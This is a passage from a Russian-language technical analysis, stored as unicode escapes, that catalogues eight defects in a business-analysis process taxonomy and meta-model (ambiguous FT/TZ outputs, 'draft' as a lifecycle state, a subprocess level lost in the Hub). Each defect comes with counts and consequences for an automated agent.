\u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 / \u0434\u043e\u043b\u044f | 7 \u0438\u0437 13 / 0.538 |\\n| `D4` | \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 | 8 \u0438\u0437 13 |\\n| `D5` | \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u043e\u0442\u0435\u0440\u044f\u043d \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 \u0432 \u0425\u0430\u0431 | \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432 \u0441\u043f\u043e\u043a\u0435 / \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u0432 \u0425\u0430\u0431\u0435 | 6 / 0 |\\n| `D6` | \u043d\u0435\u0442 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u00ab\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u00bb, \u00ab\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb, \u00ab\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb | \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 / \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0430\u043a\u0442\u043e\u0440\u0430 | 3 / 5 |\\n| `D7` | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438 | \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f / \u0432\u0441\u0435\u0433\u043e | 66 / 67 |\\n| `D8` | \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u043f\u0438\u0441\u0430\u043d \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f | \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f / \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u0438 | 1 (\u043e\u0442\u0440\u0438\u0446\u0430\u043d\u0438\u0435) / 2 |\\n\\n\u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u0432\u043e\u0441\u044c\u043c\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0438\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c: \u043a\u0430\u0436\u0434\u044b\u0439 \u0434\u0435\u043b\u0430\u0435\u0442\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044e **\u043d\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u043e** \u2014 \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u044f \u0432\u044b\u0445\u043e\u0434\u0430 \u043d\u0435\\n\u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 (`D1`, `D2`, `D3`, `D4`), \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0432\\n\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u0443\u0437\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 (`D5`, `D6`,\\n`D8`), \u043b\u0438\u0431\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439\\n(`D7`).\\n\\n## D1. \u00ab\u0424\u0422/\u0422\u0417\u00bb \u2014 \u043e\u0434\u043d\u043e \u0438\u043c\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f `\u0424\u0422/\u0422\u0417` \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 **29 \u0440\u0430\u0437**, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u21161 `docs/taxonomy.md:69` \u0438 \u0432 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d\u043d\u043e\u0439 \u0432 \u0425\u0430\u0431 \u0441\u0442\u0440\u043e\u043a\u0435\\n`projects/ba-ai-process/ba-meta-model/20-taxonomy.md:93`:\\n\\n```\\n| `fr-generation` | \u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043e \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0424\u0422/\u0422\u0417 | ingestion, understanding, documentation, solution_design | A-FR, A-TZ |\\n```\\n\\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0430\u043c\u043e\u0439 \u0441\u043f\u0438\u0446\u044b (`standards/ba-ontology.md`, \u00a74) \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\\n**\u0434\u0432\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0442\u0438\u043f\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430** \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u0430\u043c\u0438 \u0444\u043e\u0440\u043c\u044b:\\n\\n| \u0422\u0438\u043f | \u0418\u043c\u044f | \u042d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b |\\n| --- | --- | --- |\\n| `A18` | `feature-spec-kk` \u2014 \u0424\u0422 \u041a\u041a | \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u041a\u041a |\\n| `A19` | `tz-contract` \u2014 \u0422\u0417 | \u0413\u041e\u0421\u0422 34.602-2020 |\\n\\n\u042d\u0442\u043e **\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0435 \u043a\u043e\u0440\u043f\u0443\u0441\u0430**, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0431\u0435\u043b \u0425\u0430\u0431\u0430: \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0424\u0422 \u0438 \u0422\u0417 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430\u043c\u0438 \u0432 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0438 \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0432\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u0425\u0430\u0431 \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u0443\u044e \u0438\u0437 \u0434\u0432\u0443\u0445 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430.** \u0421\u0442\u0440\u043e\u043a\u0430 `A-FR, A-TZ` \u0432 \u0433\u0440\u0430\u0444\u0435 \u00ab\u0432\u044b\u0445\u043e\u0434\u00bb \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c: \u0430\u0433\u0435\u043d\u0442 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043a\u0430\u043a\u043e\u0439 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043e\u043d \u043e\u0431\u044f\u0437\u0430\u043d\\n\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u0438 \u043f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 \u044d\u0442\u0430\u043b\u043e\u043d\u0443 \u0444\u043e\u0440\u043c\u044b \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c.\\n\\n## D2. \u00ab\u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u00bb \u2014 \u044d\u0442\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\\n\\n\u0424\u043e\u0440\u043c\u0443\u043b\u0430 \u00ab\u0434\u043e \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0424\u0422/\u0422\u0417\u00bb \u0437\u0430\u0434\u0430\u0451\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 **4 \u0440\u0430\u0437\u0430** (3 \u0440\u0430\u0437\u0430 \u0432 \u0441\u043f\u043e\u043a\u0435,\\n1 \u0440\u0430\u0437 \u0432 \u0425\u0430\u0431\u0435). \u041e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432 `standards/ba-ontology.md`, \u00a75 `draft` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n**\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430** \u0432 \u043c\u0430\u0448\u0438\u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439\\n`raw \u2192 draft \u2192 in-review \u2192 validated \u2192 approved \u2192 baselined/released`.\\n\\n\u041e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u0441\u043b\u043e\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0432\u0443\u0445 \u0440\u043e\u043b\u044f\u0445: \u043a\u0430\u043a \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044f `status` \u0438 \u043a\u0430\u043a\\n\u0438\u043c\u044f \u0442\u043e\u0447\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041f\u0440\u043e\u0446\u0435\u0441\u0441, \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u043e\u043c\u00bb, \u043d\u0435 \u0438\u043c\u0435\u0435\u0442\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u2014 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 `draft` \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043b\u044e\u0431\u044b\u043c\\n\u043d\u0435\u043f\u0443\u0441\u0442\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430.** \u0413\u0435\u0439\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043d\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f:\\n\u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u00ab\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u043e\u043c\u00bb \u0438\u0441\u0442\u0438\u043d\u0435\u043d \u0432\u0441\u0435\u0433\u0434\u0430.\\n\\n## D3. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0434\u043e \u0448\u0435\u0441\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u0420\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0431\u043b\u0438\u0446\u044b 30 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b \u043f\u043e \u043f\u043e\u043b\u044e \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u0434\u0430\u0451\u0442 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435:\\n\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f | \u041a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432\u044b\u0445\u043e\u0434\u0430 |\\n| --- | --- |\\n| `documentation` | 6 (`business-alignment-pack`, `constraints-section`, `feature-spec-kk`, `fr-section`, `meeting-summary`, `tz-contract`) |\\n| `modeling` | 4 |\\n| `understanding` | 3 |\\n| `validation` | 3 |\\n| `quality`, `governance`, `impact_analysis` | 2 |\\n| \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 6 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 | 1 |\\n\\n**7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438\u0437 13 (0.538)** \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430.\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0441 \u0448\u0435\u0441\u0442\u044c\u044e \u043a\u043b\u0430\u0441\u0441\u0430\u043c\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: `documentation`\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043e\u0444\u043e\u0440\u043c\u0438\u0442\u044c \u0440\u0435\u0437\u044e\u043c\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0438\u00bb \u0438 \u00ab\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0422\u0417 \u043f\u043e \u0413\u041e\u0421\u0422\u00bb.\\n\\n## D4. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b\\n\\n**8 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 13** \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 (\u043c\u0430\u0440\u043a\u0435\u0440\u044b `:`, `;`, `,`, `\u0438`,\\n`\u0438\u043b\u0438` \u0432 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0441\u043f\u0438\u0441\u043a\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432):\\n\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f | \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 | \u041c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 |\\n| --- | --- | --- |\\n| `ingestion` | \u00ab\u041f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0432\u0445\u043e\u0434 (ASR-\u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430, \u043f\u0438\u0441\u044c\u043c\u043e, \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u0442\u0435\u043d\u0434\u0435\u0440\u043d\u043e\u0435 \u0422\u0417) \u0432 \u0444\u043e\u0440\u043c\u0443, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0443\u044e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\u00bb | 4 |\\n| `documentation` | \u00ab\u041e\u0444\u043e\u0440\u043c\u043b\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b: \u0424\u0422, \u0422\u0417, \u0440\u0435\u0437\u044e\u043c\u0435 \u0432\u0441\u0442\u0440\u0435\u0447, \u043f\u0438\u0441\u044c\u043c\u0430.\u00bb | 4 |\\n| `understanding` | \u00ab\u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\u043d\u044b\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f; \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0449\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\u00bb | 3 |\\n| `modeling` | \u00ab\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u0443\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438: Use Case, User Story, \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b UML/BPMN.\u00bb | 3 |\\n\\n`D3` \u0438 `D4` \u2014 \u043e\u0434\u0438\u043d \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0441 \u0434\u0432\u0443\u0445 \u0441\u0442\u043e\u0440\u043e\u043d: \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438\\n\u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u0430 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e\\n\u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u2014 **\u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0440\u0430\u0431\u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 BABOK**, \u0430 \u043d\u0435\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c. \u0422\u0435\u0440\u043c\u0438\u043d \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d \u043a \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f.\\n\\n## D5. \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 \u0441\u043f\u043e\u043a\u0435 \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043d \u0432 \u0425\u0430\u0431\u0435\\n\\n| \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a | \u0424\u0430\u043a\u0442 |\\n| --- | --- |\\n| `standards/ba-ontology.md`, \u00a71 | \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430; \u0440\u0435\u0431\u0440\u043e `R1`: `\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441`, 1\u2192N |\\n| `docs/adr/009-bcreq-formation-process.md` | \u0448\u0435\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 `\u041f1`\u2026`\u041f6` \u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 `G1`, `G2`, `G3` |\\n| `projects/ba-ai-process/ba-meta-model/*.md` | **0** \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n\\n\u0425\u0430\u0431 \u0432\u043c\u0435\u0441\u0442\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0431\u044a\u044f\u0432\u0438\u043b `Skill` \u00ab\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0439\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation`\u00bb\\n([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72),\\n\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0432\u0451\u043b \u0442\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0443\u044e \u0438\u0435\u0440\u0430\u0440\u0445\u0438\u044e \u043a \u0434\u0432\u0443\u043c \u0443\u0440\u043e\u0432\u043d\u044f\u043c \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u0443\u0437\u0435\u043b, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0432\\n\u0441\u043f\u043e\u043a\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430.** \u041c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c (\u00ab\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 BCREQ\u00bb) \u0438 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 (\u00ab\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb) \u043d\u0435\u0442 \u0443\u0437\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c\\n\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434 \u0438 \u0433\u0435\u0439\u0442. \u041e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f.\\n\\n## D6. \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0438 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n\\n\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 **\u0434\u0435\u0432\u044f\u0442\u044c** 